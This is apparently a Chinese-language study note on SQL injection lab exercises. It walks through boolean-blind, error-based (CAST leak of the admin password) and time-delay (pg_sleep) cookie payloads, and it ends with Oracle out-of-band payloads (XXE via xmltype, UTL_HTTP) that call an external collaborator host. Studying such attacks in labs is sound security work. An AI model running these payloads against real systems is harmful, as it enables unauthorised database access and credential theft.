场景:布尔盲注

具体原理前面的笔记写过此处略。

1、真假条件试探是否存在布尔盲注

payload:

1
2
TrackingId=enM2J0zPN7COMcsA' AND '1'='1' -- -
TrackingId=enM2J0zPN7COMcsA' AND '1'='2' -- -

2、猜测密码长度

1
TrackingId=enM2J0zPN7COMcsA' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')=1 -- -

不断根据and后面半句的逻辑猜测密码长度,修改1的值

(子查询)=20

注意:子查询单独当作一个值使用的时候必须用圆括号包裹。但是有一个区分的点:SQL 里,AND 的优先级低于比较运算符=,但子查询语法强制要求括号,这不是优先级,是语法硬性规定。多个 and/or 混合条件,用来改变运算先后顺序,才是优先级括号。

3、猜测密码第一位

1
Cookie: TrackingId=nW8xO1VhhsWJlPSz' and (select substring(password,1,1) from users where username='administrator')='a' -- --

substring【PostgreSQL / MySQL 通用】

substring(字段,起始位置,取几个字符)

不知道字典哪里操作不对,这道题没爆出来。

有空重新做。

场景:基于可见错误的SQL注入

image-20260920232239341

题目给出了表名字段名。

但假如没给,需要有以下步骤:

查询所有表名,查询某个表的所有列名。但盲注的场景不能union回显。只能依靠报错、布尔、延时把information_schema的内容一点点拖出来,工作量很大。

1
2
3
4
5
1. **先手工确认漏洞存在**(单引号测试、确认报错 / 布尔差异、确认有没有长度截断、有没有 WAF)
2. 判断:
条件好:无 WAF、无截断、权限高能读 information_schema → 交给 sqlmap 自动跑库、表、字段、dump 数据。
有截断 / WAF / 权限低:**手工先调试 payload,必要时给 sqlmap 写 tamper 脚本,或者部分手工猜,不直接无脑扔给工具**。
3. 盲注场景(布尔 / 时间):不要开高线程,降低速度,防止把业务打垮。

平时可用的常规表名、字段查询语句:

PostgreSQL(本题数据库)

查询所有表名:

1
SELECT table_name FROM information_schema.tables

查询某个表的所有列名:

1
SELECT column_name FROM information_schema.columns WHERE table_name='users'

MySQL

1
2
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
SELECT column_name FROM information_schema.columns WHERE table_name='users';

Oracle

1
2
SELECT table_name FROM all_tables;
SELECT column_name FROM all_tab_columns WHERE table_name='USERS';

尝试发现有截断,删除乱码之后再尝试就ok了。

image-20260920223158386

此处使用的payload:

1
TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int) --
1
TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int) --

单引号闭合原有单引号字符串。and把新条件拼接到原来的where语句。

核心语法:

1
1=CAST((SELECT username FROM users LIMIT 1) AS int)
1
CAST(表达式 AS 目标类型)

子查询返回字符串用户名administrator,强行把字符串转 int,数据库直接抛出异常,并且把这个字符串写在报错信息里泄露出来。1=这一部分:只是语法上凑一个比较表达式,让整个语句合法。数据库执行时不会走到判断 1 等于几,在 CAST 转换阶段就直接抛出错误。

外层有一对圆括号 ():在 CAST 里面,必须把子查询用括号包起来,叫标量子查询,要求只能返回单行单列一个值。

【当一个子查询被当做普通单个值来使用(放在等于、比较、函数参数、赋值等位置),它就变成标量子查询,必须1行1列。】

使用场景 子查询类型 约束
放在CAST()、=、>、<、算术运算中 → 被当作一个单独的值 标量子查询 必须单行单列 1 个值,多行会报错
放在IN()里面 集合子查询 允许多行
放在FROM后面当临时表(派生表) 表子查询 允许多行

LIMIT 1:限制只返回第一行。

答疑:

实际过程中怎么确定截断的存在?

同一个 payload,保留原始长值就异常;删掉原始值就正常 → 后端发生字符串截断;Burp 发出的 http 包看不出,只能靠返回行为反推。

SELECT password FROM users LIMIT 1这里username和password这些字段名怎么确定?

真实环境要查询information_schema元数据表;盲注场景需要逐位爆破拖出表名字段名。

一开始是怎么判断数据库类型?

方式 1:看原生报错信息

PostgreSQL 报错样式:

1
ERROR:  invalid input syntax for type integer: "administrator"

关键词 ERROR:,格式、报错文本风格是 PostgreSQL 独有。

MySQL 报错:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'xxx'

Oracle 报错:

1
ORA‑01756: quoted string not properly terminated

只要能拿到数据库原生错误页面,一眼区分。

方式 2:使用各个数据库独有的函数做探测(无回显也能用,布尔 / 延时盲注)

数据库 特征探测 payload
PostgreSQL pg_sleep(5) 延时函数;version()获取版本;CAST(...AS int)语法
MySQL sleep(5);version();concat()
Oracle utl_inaddr.get_host_name();SELECT xxx FROM dual(必须有 dual 虚表)

方式 3:注释语法小区别

  • PostgreSQL / MySQL:-- (横杠横杠 + 空格)、#(mysql 支持 #注释,pg 不支持 #)
  • Oracle:-- ,不支持#

本题:看到pg_sleep、看到这种invalid input syntax for type integer报错 → 判断是 PostgreSQL。

场景:时间延迟sql盲注

原理之前写过此处略。

image-20260921083917424

这里用到的payload:

1
Cookie: TrackingId=abc'||pg_sleep(10)-- -; session=dPFJ6pwZqZNkcxZaaz7FGVtqvAYEmfE9

闭合引号,||拼接字符串,休眠10秒,注释。

PostgreSQL 的字符串拼接符,等价于 MySQL 的concat()

Oracle:dbms_lock.sleep很多环境没开,Oracle 时间盲注实战常用SELECT count(*) FROM all_objects大查询来制造延时,而不是 sleep 函数;
MySQL:sleep()可以直接 and,不需要拼接符||,MySQL 没有||字符串拼接(MySQL 里||默认是逻辑或)

数据库 休眠函数 Payload 示例(Cookie 注入) 备注
PostgreSQL pg_sleep(N) `abc’
MySQL sleep(N) abc' AND sleep(10)# #是 mysql 注释;-- 也支持
Oracle dbms_lock.sleep(N) abc' AND 1=dbms_lock.sleep(10)-- - Oracle 需注意虚拟表限制

Cookie: TrackingId=x ‘;SELECT CASE WHEN (username=’administrator’ AND SUBSTRING(password,1,1)=’a’) THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users – -; session=mmj01ONjC6oqpyAslRZNVIKBu7mVAFuG

1
Cookie: TrackingId='||(SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[<!ENTITY+%25+remote+SYSTEM+"http://zvy9v01ws8u90dk1na8k79cntez5nvbk.oastify.com/">%25remote;]>'),'/l')+FROM+dual)--; session=YjQ2VGTgGFjC9sW4luaJxh7XgVdRKMWl
1
Cookie: TrackingId='||UTL_HTTP.REQUEST('http://zvy9v01ws8u90dk1na8k79cntez5nvbk.oastify.com')--; session=YjQ2VGTgGFjC9sW4luaJxh7XgVdRKMWl

疑问:

为什么会是cookie这里?黑盒情况怎么确认注入点?sqlmap?

有没有自动测试的手法?

纳瓦尔宝典,什么时候暂停思考才是必要的?什么时候是逃避?